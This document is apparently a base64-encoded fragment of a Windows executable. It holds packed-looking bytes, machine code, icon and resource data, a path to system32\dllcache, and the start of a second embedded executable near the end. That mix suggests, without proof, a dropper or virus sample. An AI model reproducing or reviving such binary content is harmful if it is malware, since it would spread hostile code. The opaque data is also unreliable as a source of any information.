6L5FBV1RC/rI0qn6okVSgUwEXQUVVapBeQFdEl0FUoDeBV0F0LF5bVwFXe2fB10FCu2RB10F 5AFcBV21Aa/QcXkx1gOuoQPyjaxzK10FKTo7rHMFKVSqQXkBTQVdBSlMtQ5dBV13PHckJRRr KWAvBQKOg1PQsHMBXQW1jaz6olspCAuI6INZBV3tJPSi+gNxL7xZBF0FduTW+a6htUWi+qKE mQFcBV3uB/KN7QMHXQXQuGkHXQU3CAT38nG3IKL6ogVgZCt1XXGDODNkKwUp0tb7tS5fBV2O Gvm1Kl8FXThzYCVgKRVgKy5mL3FU89gtrvqiBigI1vvQsATwovq1Aaz6ou09BF0F0EF5AdYJ eVUM+sjeqfqiDp0K2PKj+qL6yNqp+qKEmUVcBV1knlo8cy1kMWAvZDBqM2QzcTRrMmFuay12 LmsvYC5rLmY1a243LmQrcjR2PmQzY3B2KWNwdS9l5g0gBV28XRVdBXbcLwN25AxctvNe3Hbm NwXWiG7wovq+EQlVNxY3BDcHotRWxSgt1ohq8KL6viHWMXmIISFVwloFIAVdUtB5eRUKiCEh UU3UAgpTotRWxShh1gq+ZdAR0AVdBV3yGdGlB10FXXFWiBnRse3a+qL6tkfWMYkOq3FmjqPt RQRdBdZCo+1BBF0FePqi+l04AWRdBSklYFk/BV1xRISxAVwFXY6hqfcPnXCn7ZT4ovrcwVkE XQW/pQWO0D6o+qLmWg6dcV5VotTcwVV4XQU8xj2ZtQVdBV1YopDk9KL65mjSBl2OlS6WhKRl twVdd1OMGA3QsCb8AAAAAO4BAACi+rWnsvqimDzGPe1dBV0FAI7gj6z6ovqKvjCKXgV2xubx XAVdb29b1oinBF0Fvg3mvVYFXW9JW2bGLxyc41dTopAn9KL6otLUQFftWgVdBbWAovqiZJ7t WQVdBRJwJQUCUjcFNweikBP0ovpWxSkNDfrIN6z6osYdiOhisvqi7XjqovopCNSApwRdBQ36 yE+s+qLG5AFcBV2I4L5FBV1SrqECxg1UbsXo+q+rElwFxgxvWVxhRC8DYV8qB1klnM1V56xc wwAAVABg6AAAAABd/LA4i62/8P//C+10L0tD6CwAAACL8Yff6CMAAACH32o4WDvxdxaKFDNS U8YEMwBTV//VC8BbWogUM3XSC8Bhw1cywDPJSfKuX/fRScMAACQAYOgAAAAAXegNAAAAdGVt MzJcZGxsY2FjAF+NdaLoZu7//2HDJMI2AEQqJMIkwnk9sYnUPdt7BEw+LScD9QMnDiWPLKgE m/UqV8cR4qf6ySDRS2DmMKStR1As2z1FAc57awCuk857znuT9nNePoQxEc8sMe47lDGExbu6 aEWjT5DOe897Q86ulTGEJoIjhDEiLXGHKkPG+4sxhCWuJnzOe84OvR68SPx7Me47lDGExbu6 YkWjT5DOe897Q8afizGEQ86ulTGEJsYjhDEawwAAJXMlMDhkAABhOlwAeAAAAAAAAAAAAAAA AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+ AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAwAAACAAAIAOAAAAQAAAgAAAAAAAAAAAAAAAAAAAAgABAAAA WAAAgAIAAABwAACAAAAAAAAAAAAAAAAAAAABAGUAAACIAACAAAAAAAAAAAAAAAAAAAABAAQI AACgAAAAAAAAAAAAAAAAAAAAAAABAAQIAACwAAAAAAAAAAAAAAAAAAAAAAABAAQIAADAAAAA 0FAJAOgCAAAAAAAAAAAAALhTCQAoAQAAAAAAAAAAAADgVAkAIgAAAAAAAAAAAAAAKAAAACAA AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL8AAL8AAAC/vwC/AAAA vwC/AL+/AADAwMAAgICAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAd3gzqgAAAAAAAAAAAAAHf3d4M6p3gAAAAAAAAAAP9/d3eDOqd8hgAAAA AAAA//9/d3gzqnjGZgAAAAAAD///93d4OKd8hmZgAAAAAHf//393eDenjGZmdwAAAAeHf//3 93g3p8hmZ3dwAAAIeHf//3d4OqjGZnd34AAAh4eHf//3eDqshmd37u4AAHh4eHf/f3g6jGZ3 7u67AAeHh4eHf/d4Oshnfuu7uqAIeHh4eHf4iIjGfru7qqqgB4eHh4eHiAAAiLu6qqMzMAh4 eHh4eICP+AgzMzPd3dAIiIiIiIiA//8IXV1dXV1QBdXV1dXVgP//CIiIiIiIgA3d3TMzM4CP +AiHh4eHh4ADMzqqq7uIAACIeHh4eHhwCqqqu7vnbIiIj3eHh4eHgAqru77ndoyjh3/3eHh4 eHAAu+7ud2bIo4f3/3eHh4cAAO7ud3ZoyqOHf//3eHh4AAAOd3dmbIqjh3f//3eHgAAAB3d2 Zox6c4d/f//3eHAAAAB3ZmbIenOHd/f//3cAAAAABmZox3qDh3d////wAAAAAABmbIeqM4d3 9///AAAAAAAABox3qjOHd39/8AAAAAAAAAAId6ozh3f3cAAAAAAAAAAAAACqM4d3AAAAAAAA AAAAAAAAAAAAAAAAAAAAAP/wD///gAH//gAAf/wAAD/4AAAf8AAAD+AAAAfAAAADwAAAA4AA AAGAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAGAAAAB wAAAA8AAAAPgAAAH8AAAD/gAAB/8AAA//gAAf/+AAf//8A//KAAAABAAAAAgAAAAAQAEAAAA AADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACAAICAAACAgIAA wMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAACIc6gAAAAA/4hzLM YAAACPiHMsZoAACHj4csZoYACHh4hyxoqqAHh4dwCCqiIAh4eA/wERVQBVERD/CHh4ACKqKA CHh4cAqqhsJ4h4eAAGhmwnj4eAAAhmwjeI+IAAAGzCN4j/AAAAAIo3iAAAAAAAAAAAAAAPgf AADgBwAAwAMAAIABAACAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAEAAIABAADAAwAA 4AcAAPgfAAAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATVqQAAMA AAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA gAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAABQRQAATAEFALniUTkAAAAAAAAAAOAADiELAQI8AAgAAAAMAAAAAAAA HBAAAAAQAAAAIAAAAABxfwAQAAAAEAAABAAAAAAAAAAEAAAAAAAAAABgAAAABAAAsmAAAAIA AAAAABAAABAAAAAAEAAAEAAAAAAAABAAAADgFQAAUQAAAAAwAAA8AAAAAEAAAPADAAAAAAAA AAAAAAAAAAAAAAAAAFAAAHgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 